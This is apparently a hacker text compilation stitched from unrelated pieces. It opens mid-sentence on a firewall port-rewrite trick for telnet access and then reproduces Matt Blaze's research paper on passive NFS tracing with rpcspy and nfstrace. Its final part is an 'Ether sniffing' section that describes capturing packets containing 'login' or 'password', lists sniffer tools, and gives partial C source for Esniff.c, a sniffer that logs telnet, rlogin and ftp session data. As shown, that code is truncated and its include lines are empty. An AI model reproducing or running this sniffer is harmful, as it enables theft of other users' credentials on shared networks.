overwrites the IP port number which was originally 80 with a new port
number such as 23, and is now granted telnet access to the host under
attack despite the firewall that is supposed to block the service.

_________________________________________________________________________
NFS Tracing By Passive Network Monitoring

Author:

Matt Blaze

Department of Computer Science Princeton University mab@cs.princeton.edu

ABSTRACT

Traces of filesystem activity have proven to be useful for a wide variety of
purposes, ranging from quantitative analysis of system behavior to
trace-driven simulation of filesystem algorithms. Such traces can be
difficult to obtain, however, usually entailing modification of the
filesystems to be monitored and runtime overhead for the period of the
trace. Largely because of these difficulties, a surprisingly small number of
filesystem traces have been conducted, and few sample workloads are
available to filesystem researchers.

This paper describes a portable toolkit for deriving approximate traces of
NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and
from the file server. The toolkit uses a promiscuous Ethernet listener
interface (such as the Packetfilter[2]) to read and reconstruct NFS-related
RPC packets intended for the server. It produces traces of the NFS activity
as well as a plausible set of corresponding client system calls. The tool is
currently in use at Princeton and other sites, and is available via
anonymous ftp.

1. Motivation

Traces of real workloads form an important part of virtually all analysis of
computer system behavior, whether it is program hot spots, memory access
patterns, or filesystem activity that is being studied. In the case of
filesystem activity, obtaining useful traces is particularly challenging.
Filesystem behavior can span long time periods, often making it necessary to
collect huge traces over weeks or even months. Modification of the
filesystem to collect trace data is often difficult, and may result in
unacceptable runtime overhead. Distributed filesystems exa cerbate these
difficulties, especially when the network is composed of a large number of
heterogeneous machines. As a result of these difficulties, only a relatively
small number of traces of Unix filesystem workloads have been conducted,
primarily in computing research environments. [3], [4] and [5] are examples
of such traces.

Since distributed filesystems work by transmitting their activity over a
network, it would seem reasonable to obtain traces of such systems by
placing a "tap" on the network and collecting trace data based on the
network traffic. Ethernet[6] based networks lend themselves to this approach
particularly well, since traffic is broadcast to all machines connected to a
given subnetwork. A number of general-purpose network monitoring tools are
avail able that "promiscuously" listen to the Ethernet to which they are
connected; Sun's etherfind[7] is an example of such a tool. While these
tools are useful for observing (and collecting statistics on) specific types
of packets, the information they provide is at too low a level to be useful
for building filesystem traces. Filesystem operations may span several
packets, and may be meaningful only in the context of other, previous
operations.

Some work has been done on characterizing the impact of NFS traffic on
network load. In [8], for example, the results of a study are reported in
which Ethernet traffic was monitored and statistics gathered on NFS
activity. While useful for understanding traffic patterns and developing a
queueing model of NFS loads, these previous stu dies do not use the network
traffic to analyze the file access traffic patterns of the system, focusing
instead on developing a statistical model of the individual packet sources,
destinations, and types.

This paper describes a toolkit for collecting traces of NFS file access
activity by monitoring Ethernet traffic. A "spy" machine with a promiscuous
Ethernet interface is connected to the same network as the file server. Each
NFS-related packet is analyzed and a trace is produced at an appropriate
level of detail. The tool can record the low level NFS calls themselves or
an approximation of the user-level system calls (open, close, etc.) that
triggered the activity.

We partition the problem of deriving NFS activity from raw network traffic
into two fairly distinct subprob lems: that of decoding the low-level NFS
operations from the packets on the network, and that of translating these
low-level commands back into user-level system calls. Hence, the toolkit
consists of two basic parts, an "RPC decoder" (rpcspy) and the "NFS
analyzer" (nfstrace). rpcspy communicates with a low-level network
monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read
and reconstruct the RPC transactions (call and reply) that make up each NFS
command. nfstrace takes the output of rpcspy and reconstructs the sys tem
calls that occurred as well as other interesting data it can derive about
the structure of the filesystem, such as the mappings between NFS file
handles and Unix file names. Since there is not a clean one-to-one mapping
between system calls and lower-level NFS commands, nfstrace uses some simple
heuristics to guess a reasonable approximation of what really occurred.

1.1. A Spy's View of the NFS Protocols

It is well beyond the scope of this paper to describe the protocols used by
NFS; for a detailed description of how NFS works, the reader is referred to
[10], [11], and [12]. What follows is a very brief overview of how NFS
activity translates into Ethernet packets.

An NFS network consists of servers, to which filesystems are physically
connected, and clients, which per form operations on remote server
filesystems as if the disks were locally connected. A particular machine can
be a client or a server or both. Clients mount remote server filesystems in
their local hierarchy just as they do local filesystems; from the user's
perspective, files on NFS and local filesystems are (for the most part)
indistinguishable, and can be manipulated with the usual filesystem calls.

The interface between client and server is defined in terms of 17 remote
procedure call (RPC) operations. Remote files (and directories) are referred
to by a file handle that uniquely identifies the file to the server. There
are operations to read and write bytes of a file (read, write), obtain a
file's attributes (getattr), obtain the contents of directories (lookup,
readdir), create files (create), and so forth. While most of these
operations are direct analogs of Unix system calls, notably absent are open
and close operations; no client state information is maintained at the
server, so there is no need to inform the server explicitly when a file is
in use. Clients can maintain buffer cache entries for NFS files, but must
verify that the blocks are still valid (by checking the last write time with
the getattr operation) before using the cached data.

An RPC transaction consists of a call message (with arguments) from the
client to the server and a reply mes sage (with return data) from the server
to the client. NFS RPC calls are transmitted using the UDP/IP connection
less unreliable datagram protocol[13]. The call message contains a unique
transaction identifier which is included in the reply message to enable the
client to match the reply with its call. The data in both messages is
encoded in an "external data representation" (XDR), which provides a
machine-independent standard for byte order, etc.

Note that the NFS server maintains no state information about its clients,
and knows nothing about the context of each operation outside of the
arguments to the operation itself.

2. The rpcspy Program

rpcspy is the interface to the system-dependent Ethernet monitoring
facility; it produces a trace of the RPC calls issued between a given set of
clients and servers. At present, there are versions of rpcspy for a number
of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS
(with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter).

For each RPC transaction monitored, rpcspy produces an ASCII record
containing a timestamp, the name of the server, the client, the length of
time the command took to execute, the name of the RPC command executed, and
the command- specific arguments and return data. Currently, rpcspy
understands and can decode the 17 NFS RPC commands, and there are hooks to
allow other RPC services (for example, NIS) to be added reasonably easily.

The output may be read directly or piped into another program (such as
nfstrace) for further analysis; the for mat is designed to be reasonably
friendly to both the human reader and other programs (such as nfstrace or
awk).

Since each RPC transaction consists of two messages, a call and a reply,
rpcspy waits until it receives both these components and emits a single
record for the entire transaction. The basic output format is 8 vertical-bar
separated fields:

timestamp | execution-time | server | client | command-name | arguments |
reply-data

where timestamp is the time the reply message was received, execution-time
is the time (in microseconds) that elapsed between the call and reply,
server is the name (or IP address) of the server, client is the name (or IP
address) of the client followed by the userid that issued the command,
command-name is the name of the particular program invoked (read, write,
getattr, etc.), and arguments and reply-data are the command dependent
arguments and return values passed to and from the RPC program,
respectively.

The exact format of the argument and reply data is dependent on the specific
command issued and the level of detail the user wants logged. For example, a
typical NFS command is recorded as follows:

690529992.167140 | 11717 | paramount | merckx.321 | read |
{"7b1f00000000083c", 0, 8192} | ok, 1871

In this example, uid 321 at client "merckx" issued an NFS read command to
server "paramount". The reply was issued at (Unix time) 690529992.167140
seconds; the call command occurred 11717 microseconds earlier. Three
arguments are logged for the read call: the file handle from which to read
(represented as a hexadecimal string), the offset from the beginning of the
file, and the number of bytes to read. In this example, 8192 bytes are
requested starting at the beginning (byte 0) of the file whose handle is
"7b1f00000000083c". The command completed successfully (status "ok"), and
1871 bytes were returned. Of course, the reply message also included the
1871 bytes of data from the file, but that field of the reply is not logged
by rpcspy.

rpcspy has a number of configuration options to control which hosts and RPC
commands are traced, which call and reply fields are printed, which Ethernet
interfaces are tapped, how long to wait for reply messages, how long to run,
etc. While its primary function is to provide input for the nfstrace program
(see Section 3), judi cious use of these options (as well as such programs
as grep, awk, etc.) permit its use as a simple NFS diag nostic and
performance monitoring tool. A few screens of output give a surprisingly
informative snapshot of current NFS activity; we have identified quickly
using the program several problems that were otherwise difficult to
pinpoint. Similarly, a short awk script can provide a breakdown of the most
active clients, servers, and hosts over a sampled time period.

2.1. Implementation Issues

The basic function of rpcspy is to monitor the network, extract those
packets containing NFS data, and print the data in a useful format. Since
each RPC transaction consists of a call and a reply, rpcspy maintains a
table of pending call packets that are removed and emitted when the matching
reply arrives. In normal operation on a reasonably fast workstation, this
rarely requires more than about two megabytes of memory, even on a busy net
work with unusually slow file servers. Should a server go down, however, the
queue of pending call messages (which are never matched with a reply) can
quickly become a memory hog; the user can specify a maximum size the table
is allowed to reach before these "orphaned" calls are searched out and
reclaimed.

File handles pose special problems. While all NFS file handles are a fixed
size, the number of significant bits varies from implementation to
implementation; even within a vendor, two different releases of the same
operating system might use a completely different internal handle format. In
most Unix implementations, the handle contains a filesystem identifier and
the inode number of the file; this is sometimes augmented by additional
information, such as a version number. Since programs using rpcspy output
generally will use the handle as a unique file identifier, it is important
that there not appear to be more than one handle for the same file.
Unfortunately, it is not sufficient to simply consider the handle as a
bitstring of the maximum handle size, since many operating systems do not
zero out the unused extra bits before assigning the handle. Fortunately,
most servers are at least consistent in the sizes of the handles they
assign. rpcspy allows the user to specify (on the command line or in a
startup file) the handle size for each host to be monitored. The handles
from that server are emitted as hexadecimal strings truncated at that
length. If no size is specified, a guess is made based on a few common
formats of a reasonable size.

It is usually desirable to emit IP addresses of clients and servers as their
symbolic host names. An early ver sion of the software simply did a
nameserver lookup each time this was necessary; this quickly flooded the
network with a nameserver request for each NFS transaction. The current
version maintains a cache of host names; this requires a only a modest
amount of memory for typical networks of less than a few hundred hosts. For
very large networks or those where NFS service is provided to a large number
of remote hosts, this could still be a potential problem, but as a last
resort remote name resolution could be disabled or rpcspy configured to not
translate IP addresses.

UDP/IP datagrams may be fragmented among several packets if the datagram is
larger than the maximum size of a single Ethernet frame. rpcspy looks only
at the first fragment; in practice, fragmentation occurs only for the data
fields of NFS read and write transactions, which are ignored anyway.

3. nfstrace: The Filesystem Tracing Package

Although rpcspy provides a trace of the low-level NFS commands, it is not,
in and of itself, sufficient for obtaining useful filesystem traces. The
low-level commands do not by themselves reveal user-level activity. Furth
ermore, the volume of data that would need to be recorded is potentially
enormous, on the order of megabytes per hour. More useful would be an
abstraction of the user-level system calls underlying the NFS activity.

nfstrace is a filter for rpcspy that produces a log of a plausible set of
user level filesystem commands that could have triggered the monitored
activity. A record is produced each time a file is opened, giving a summary
of what occurred. This summary is detailed enough for analysis or for use as
input to a filesystem simulator.

The output format of nfstrace consists of 7 fields:

timestamp | command-time | direction | file-id | client | transferred | size

where timestamp is the time the open occurred, command-time is the length of
time between open and close, direc tion is either read or write (mkdir and
readdir count as write and read, respectively). file-id identifies the
server and the file handle, client is the client and user that performed the
open, transferred is the number of bytes of the file actually read or
written (cache hits have a 0 in this field), and size is the size of the
file (in bytes).

An example record might be as follows:

690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 |
24576

Here, userid 321 at client frejus read file 7b1f00000000400f on server
basso. The file is 24576 bytes long and was able to be read from the client
cache. The command started at Unix time 690691919.593442 and took 17734
microseconds at the server to execute.

Since it is sometimes useful to know the name corresponding to the handle
and the mode information for each file, nfstrace optionally produces a map
of file handles to file names and modes. When enough information (from
lookup and readdir commands) is received, new names are added. Names can
change over time (as files are deleted and renamed), so the times each
mapping can be considered valid is recorded as well. The mapping infor
mation may not always be complete, however, depending on how much activity
has already been observed. Also, hard links can confuse the name mapping,
and it is not always possible to determine which of several possible names a
file was opened under.

What nfstrace produces is only an approximation of the underlying user
activity. Since there are no NFS open or close commands, the program must
guess when these system calls occur. It does this by taking advantage of the
observation that NFS is fairly consistent in what it does when a file is
opened. If the file is in the local buffer cache, a getattr call is made on
the file to verify that it has not changed since the file was cached.
Otherwise, the actual bytes of the file are fetched as they are read by the
user. (It is possible that part of the file is in the cache and part is not,
in which case the getattr is performed and only the missing pieces are
fetched. This occurs most often when a demand-paged executable is loaded).
nfstrace assumes that any sequence of NFS read calls on the same file issued
by the same user at the same client is part of a single open for read. The
close is assumed to have taken place when the last read in the sequence
completes. The end of a read sequence is detected when the same client reads
the beginning of the file again or when a timeout with no reading has
elapsed. Writes are handled in a similar manner.

Reads that are entirely from the client cache are a bit harder; not every
getattr command is caused by a cache read, and a few cache reads take place
without a getattr. A user level stat system call can sometimes trigger a
getattr, as can an ls -l command. Fortunately, the attribute caching used by
most implementations of NFS seems to eliminate many of these extraneous
getattrs, and ls commands appear to trigger a lookup command most of the
time. nfstrace assumes that a getattr on any file that the client has read
within the past few hours represents a cache read, otherwise it is ignored.
This simple heuristic seems to be fairly accurate in practice. Note also
that a getattr might not be performed if a read occurs very soon after the
last read, but the time threshold is generally short enough that this is
rarely a problem. Still, the cached reads that nfstrace reports are, at
best, an estimate (generally erring on the side of over-reporting). There is
no way to determine the number of bytes actually read for cache hits.

The output of nfstrace is necessarily produced out of chronological order,
but may be sorted easily by a post-processor.

nfstrace has a host of options to control the level of detail of the trace,
the lengths of the timeouts, and so on. To facilitate the production of very
long traces, the output can be flushed and checkpointed at a specified inter
val, and can be automatically compressed.

4. Using rpcspy and nfstrace for Filesystem Tracing

Clearly, nfstrace is not suitable for producing highly accurate traces;
cache hits are only estimated, the timing information is imprecise, and data
from lost (and duplicated) network packets are not accounted for. When such
a highly accurate trace is required, other approaches, such as modification
of the client and server kernels, must be employed.

The main virtue of the passive-monitoring approach lies in its simplicity.
In [5], Baker, et al, describe a trace of a distributed filesystem which
involved low-level modification of several different operating system
kernels. In contrast, our entire filesystem trace package consists of less
than 5000 lines of code written by a single programmer in a few weeks,
involves no kernel modifications, and can be installed to monitor multiple
heterogeneous servers and clients with no knowledge of even what operating
systems they are running.

The most important parameter affecting the accuracy of the traces is the
ability of the machine on which rpcspy is running to keep up with the
network traffic. Although most modern RISC workstations with reasonable
Ethernet interfaces are able to keep up with typical network loads, it is
important to determine how much informa tion was lost due to packet buffer
overruns before relying upon the trace data. It is also important that the
trace be, indeed, non-intrusive. It quickly became obvious, for example,
that logging the traffic to an NFS filesystem can be problematic.

Another parameter affecting the usefulness of the traces is the validity of
the heuristics used to translate from RPC calls into user-level system
calls. To test this, a shell script was written that performed ls -l, touch,
cp and wc commands randomly in a small directory hierarchy, keeping a record
of which files were touched and read and at what time. After several hours,
nfstrace was able to detect 100% of the writes, 100% of the uncached reads,
and 99.4% of the cached reads. Cached reads were over-reported by 11%, even
though ls com mands (which cause the "phantom" reads) made up 50% of the
test activity. While this test provides encouraging evidence of the accuracy
of the traces, it is not by itself conclusive, since the particular workload
being monitored may fool nfstrace in unanticipated ways.

As in any research where data are collected about the behavior of human
subjects, the privacy of the individu als observed is a concern. Although
the contents of files are not logged by the toolkit, it is still possible to
learn something about individual users from examining what files they read
and write. At a minimum, the users of a mon itored system should be informed
of the nature of the trace and the uses to which it will be put. In some
cases, it may be necessary to disable the name translation from nfstrace
when the data are being provided to others. Commercial sites where filenames
might reveal something about proprietary projects can be particularly
sensitive to such concerns.

5. A Trace of Filesystem Activity in the Princeton C.S. Department

A previous paper[14] analyzed a five-day long trace of filesystem activity
conducted on 112 research worksta tions at DEC-SRC. The paper identified a
number of file access properties that affect filesystem caching perfor
mance; it is difficult, however, to know whether these properties were
unique artifacts of that particular environment or are more generally
applicable. To help answer that question, it is necessary to look at similar
traces from other computing environments.

It was relatively easy to use rpcspy and nfstrace to conduct a week long
trace of filesystem activity in the Princeton University Computer Science
Department. The departmental computing facility serves a community of
approximately 250 users, of which about 65% are researchers (faculty,
graduate students, undergraduate researchers, postdoctoral staff, etc), 5%
office staff, 2% systems staff, and the rest guests and other "external"
users. About 115 of the users work full-time in the building and use the
system heavily for electronic mail, netnews, and other such communication
services as well as other computer science research oriented tasks (editing,
compiling, and executing programs, formatting documents, etc).

The computing facility consists of a central Auspex file server (fs) (to
which users do not ordinarily log in directly), four DEC 5000/200s (elan,
hart, atomic and dynamic) used as shared cycle servers, and an assortment of
dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris
workstations, etc.) in indi vidual offices and laboratories. Most users log
in to one of the four cycle servers via X window terminals located in
offices; the terminals are divided evenly among the four servers. There are
a number of Ethernets throughout the building. The central file server is
connected to a "machine room network" to which no user terminals are
directly connected; traffic to the file server from outside the machine room
is gatewayed via a Cisco router. Each of the four cycle servers has a local
/, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local,
and users' home directories are NFS mounted from fs. Mail sent from local
machines is delivered locally to the (shared) fs:/usr/spool/mail; mail from
outside is delivered directly on fs.

The trace was conducted by connecting a dedicated DEC 5000/200 with a local
disk to the machine room net work. This network carries NFS traffic for all
home directory access and access to all non-local cycle-server files
(including the most of the actively-used programs). On a typical weekday,
about 8 million packets are transmitted over this network. nfstrace was
configured to record opens for read and write (but not directory accesses or
individual reads or writes). After one week (wednesday to wednesday),
342,530 opens for read and 125,542 opens for write were recorded, occupying
8 MB of (compressed) disk space. Most of this traffic was from the four
cycle servers.

No attempt was made to "normalize" the workload during the trace period.
Although users were notified that file accesses were being recorded, and
provided an opportunity to ask to be excluded from the data collection, most
users seemed to simply continue with their normal work. Similarly, no
correction is made for any anomalous user activity that may have occurred
during the trace.

5.1. The Workload Over Time

Intuitively, the volume of traffic can be expected to vary with the time of
day. Figure 1 shows the number of reads and writes per hour over the seven
days of the trace; in particular, the volume of write traffic seems to
mirror the general level of departmental activity fairly closely.

An important metric of NFS performance is the client buffer cache hit rate.
Each of the four cycle servers allocates approximately 6MB of memory for the
buffer cache. The (estimated) aggregate hit rate (percentage of reads served
by client caches) as seen at the file server was surprisingly low: 22.2%
over the entire week. In any given hour, the hit rate never exceeded 40%.
Figure 2 plots (actual) server reads and (estimated) cache hits per hour
over the trace week; observe that the hit rate is at its worst during
periods of the heaviest read activity.

Past studies have predicted much higher hit rates than the aggregate
observed here. It is probable that since most of the traffic is generated by
the shared cycle servers, the low hit rate can be attributed to the large
number of users competing for cache space. In fact, the hit rate was
observed to be much higher on the single-user worksta tions monitored in the
study, averaging above 52% overall. This suggests, somewhat
counter-intuitively, that if more computers were added to the network (such
that each user had a private workstation), the server load would decrease
considerably. Figure 3 shows the actual cache misses and estimated cache
hits for a typical private works tation in the study.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

1000

2000

3000

4000

5000

6000

Reads/Writes per hour

Writes

Reads (all)

Figure 1 - Read and Write Traffic Over Time

5.2. File Sharing

One property observed in the DEC-SRC trace is the tendency of files that are
used by multiple workstations to make up a significant proportion of read
traffic but a very small proportion of write traffic. This has important
implications for a caching strategy, since, when it is true, files that are
cached at many places very rarely need to be invalidated. Although the
Princeton computing facility does not have a single workstation per user, a
similar metric is the degree to which files read by more than one user are
read and written. In this respect, the Princeton trace is very similar to
the DEC-SRC trace. Files read by more than one user make up more than 60% of
read traffic, but less than 2% of write traffic. Files shared by more than
ten users make up less than .2% of write traffic but still more than 30% of
read traffic. Figure 3 plots the number of users who have previously read
each file against the number of reads and writes.

5.3. File "Entropy"

Files in the DEC-SRC trace demonstrated a strong tendency to "become"
read-only as they were read more and more often. That is, the probability
that the next operation on a given file will overwrite the file drops off
shar ply in proportion to the number of times it has been read in the past.
Like the sharing property, this has implications for a caching strategy,
since the probability that cached data is valid influences the choice of a
validation scheme. Again, we find this property to be very strong in the
Princeton trace. For any file access in the trace, the probability that it
is a write is about 27%. If the file has already been read at least once
since it was last written to, the write probability drops to 10%. Once the
file has been read at least five times, the write probability drops below
1%. Fig ure 4 plots the observed write probability against the number of
reads since the last write.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

1000

2000

3000

4000

5000

Total reads per hour

Cache Hits (estimated)

Cache Misses (actual)

Figure 2 - Cache Hits and Misses Over Time

6. Conclusions

Although filesystem traces are a useful tool for the analysis of current and
proposed systems, the difficulty of collecting meaningful trace data makes
such traces difficult to obtain. The performance degradation introduced by
the trace software and the volume of raw data generated makes traces over
long time periods and outside of comput ing research facilities particularly
hard to conduct.

Although not as accurate as direct, kernel-based tracing, a passive network
monitor such as the one described in this paper can permit tracing of
distributed systems relatively easily. The ability to limit the data
collected to a high-level log of only the data required can make it
practical to conduct traces over several months. Such a long term trace is
presently being conducted at Princeton as part of the author's research on
filesystem caching. The non-intrusive nature of the data collection makes
traces possible at facilities where kernel modification is impracti cal or
unacceptable.

It is the author's hope that other sites (particularly those not doing
computing research) will make use of this toolkit and will make the traces
available to filesystem researchers.

7. Availability

The toolkit, consisting of rpcspy, nfstrace, and several support scripts,
currently runs under several BSD-derived platforms, including ULTRIX 4.x,
SunOS 4.x, and IBM-RT/AOS. It is available for anonymous ftp over the
Internet from samadams.princeton.edu, in the compressed tar file
nfstrace/nfstrace.tar.Z.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0

100

200

300

Reads per hour

Cache Hits (estimated)

Cache Misses (actual)

Figure 3 - Cache Hits and Misses Over Time - Private Workstation

0 5 10 15 20

n (readers)

0

20

40

60

80

100

% of Reads and Writes used by &gt; n users

Reads

Writes

Figure 4 - Degree of Sharing for Reads and Writes

0 5 10 15 20

Reads Since Last Write

0.0

0.1

0.2

P(next operation is write)

Figure 5 - Probability of Write Given &gt;= n Previous Reads

8. Acknowledgments

The author would like to gratefully acknowledge Jim Roberts and Steve Beck
for their help in getting the trace machine up and running, Rafael Alonso
for his helpful comments and direction, and the members of the pro gram
committee for their valuable suggestions. Jim Plank deserves special thanks
for writing jgraph, the software which produced the figures in this paper.

9. References

[1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. "Design
and Implementation of the Sun Net work File System." Proc. USENIX, Summer,
1985.

[2] Mogul, J., Rashid, R., & Accetta, M. "The Packet Filter: An Efficient
Mechanism for User-Level Network Code." Proc. 11th ACM Symp. on Operating
Systems Principles, 1987.

[3] Ousterhout J., et al. "A Trace-Driven Analysis of the Unix 4.2 BSD File
System." Proc. 10th ACM Symp. on Operating Systems Principles, 1985.

[4] Floyd, R. "Short-Term File Reference Patterns in a UNIX Environment,"
TR-177 Dept. Comp. Sci, U. of Rochester, 1986.

[5] Baker, M. et al. "Measurements of a Distributed File System," Proc. 13th
ACM Symp. on Operating Systems Principles, 1991.

[6] Metcalfe, R. & Boggs, D. "Ethernet: Distributed Packet Switching for
Local Computer Networks," CACM July, 1976.

[7] "Etherfind(8) Manual Page," SunOS Reference Manual, Sun Microsystems,
1988.

[8] Gusella, R. "Analysis of Diskless Workstation Traffic on an Ethernet,"
TR-UCB/CSD-87/379, University Of California, Berkeley, 1987.

[9] "NIT(4) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988.

[10] "XDR Protocol Specification," Networking on the Sun Workstation, Sun
Microsystems, 1986.

[11] "RPC Protocol Specification," Networking on the Sun Workstation, Sun
Microsystems, 1986.

[12] "NFS Protocol Specification," Networking on the Sun Workstation, Sun
Microsystems, 1986.

[13] Postel, J. "User Datagram Protocol," RFC 768, Network Information
Center, 1980.

[14] Blaze, M., and Alonso, R., "Long-Term Caching Strategies for Very Large
Distributed File Systems," Proc. Summer 1991 USENIX, 1991.

Matt Blaze is a Ph.D. candidate in Computer Science at Princeton University,
where he expects to receive his degree in the Spring of 1992. His research
interests include distributed systems, operating systems, databases, and
programming environments. His current research focuses on caching in very
large distributed filesystems. In 1988 he received an M.S. in Computer
Science from Columbia University and in 1986 a B.S. from Hunter College. He
can be reached via email at mab@cs.princeton.edu or via US mail at Dept. of
Computer Science, Princeton University, 35 Olden Street, Princeton NJ
08544.


























__________________________________________________________________________

Ether sniffing:

Well, ONE way to sniff ether anyway ;)

What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device
for packets that interest you. When your software sees a packet that fits
certain criteria, it logs it to a file. The most common criteria for an
interesting packet is one that contains words like "login" or "password."
Many ethernet sniffers are available, here are a few that may be on your
system now:

OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Irix nfswatch /* Available via anonymous ftp */
Etherman
SunOS etherfind
nfswatch /* Available via anonymous ftp */
Solaris snoop
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#define ERR stderr

char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;

#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip-&gt;ip_len))
#define IPHLEN (ip-&gt;ip_hl)
#define TCPOFF (tcph-&gt;th_off)
#define IPS (ip-&gt;ip_src)
#define IPD (ip-&gt;ip_dst)
#define TCPS (tcph-&gt;th_sport)
#define TCPD (tcph-&gt;th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph-&gt;th_flags & (FLAGS))

#define MAXBUFLEN (128)
time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he-&gt;h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a,b) (((a)&gt;(b))?(a):(b))
#define MIN(a,b) (((a)&lt;(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp-&gt;Time) ); \
CLtmp-&gt;SRCip.s_addr = SIP.s_addr; \
CLtmp-&gt;DSTip.s_addr = DIP.s_addr; \
CLtmp-&gt;SRCport = SPORT; \
CLtmp-&gt;DSTport = DPORT; \
CLtmp-&gt;Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp-&gt;Data, CLtmp-&gt;Length); \
CLtmp-&gt;PKcnt = 1; \
CLtmp-&gt;Next = CLroot; \
CLtmp-&gt;Last = NULL; \
CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr-&gt;SRCport == SP) && (CLr-&gt;DSTport == DP) &&
IPeq(CLr-&gt;SRCip,Sip) && IPeq(CLr-&gt;DSTip,Dip) )
break;
CLr = CLr-&gt;Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL-&gt;Data[CL-&gt;Length],LEN); \
CL-&gt;Length += LEN; \
}

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- &gt;0) { \
if(*dp &lt; 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe-&gt;Time));
fprintf(LOG," PATH: %s(%s) =&gt;", Symaddr(CLe-&gt;SRCip),SERVp(CLe-&gt;SRCport));
